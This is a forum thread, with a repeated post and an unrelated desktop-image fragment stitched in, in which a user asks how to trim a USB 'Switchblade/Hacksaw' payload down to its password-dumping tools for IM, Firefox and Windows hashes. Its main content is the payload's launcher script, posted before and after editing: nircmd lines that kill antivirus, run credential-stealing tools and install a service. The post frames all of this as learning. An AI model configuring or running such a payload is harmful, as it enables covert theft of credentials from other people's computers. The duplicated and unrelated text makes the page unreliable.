[Switchblade + Hacksaw + VNC + nmap = spektormax's payload]

Ok, I'm done lurking for the past day and a half. Time for my first post :)

I downloaded this payload and have had a little fun with it just on my local systems. But I'm not really into the VNC and NMAP stuff.. How would I go about editing some of the applications out of the payload so that I can, basically, just have all the password dumping stuff (im's, firefox, windows hashes, etc). I think thats it.

Why not just use the original Switchblade? Or just remove the programs you don't want to run from the file that launches all the programs.

Yeah, that was my first thought but I'm looking at all of the .bat files and am not to sure what to do. So I'm trying to learn :)

Original:

nircmd execmd CALL WIPCMDavkill.exe

nircmd execmd CALL WIPCMDgo.bat

nircmd execmd CALL WIPCMDprogstart.bat

nircmd execmd CALL WIPCMDhack_saw.cmd

nircmd execmd CALL WIPCMDinstall.cmd

nircmd execmd CALL WIPCMDnmap.cmd

nircmd execmd CALL WIPCMDpwservice.exe

nircmd execmd CALL WIPCMDfolding_install.bat

and what I have done:

nircmd execmd CALL WIPCMDavkill.exe

nircmd execmd CALL WIPCMDgo.bat

nircmd execmd CALL WIPCMDprogstart.bat

nircmd execmd CALL WIPCMDhack_saw.cmd

nircmd execmd CALL WIPCMDpwservice.exe

nircmd execmd CALL WIPCMDfolding_install.bat

I'm pretty sure that that will stop VNC and nmap. How would I go about testing this other than you guys just saying good to go?

[December Desktops]

http://i69.photobucket.com/albums/i69/bene...sktop_nov30.jpg

[Switchblade + Hacksaw + VNC + nmap = spektormax's payload]

Ok, I'm done lurking for the past day and a half. Time for my first post :)

I downloaded this payload and have had a little fun with it just on my local systems. But I'm not really into the VNC and NMAP stuff.. How would I go about editing some of the applications out of the payload so that I can, basically, just have all the password dumping stuff (im's, firefox, windows hashes, etc). I think thats it.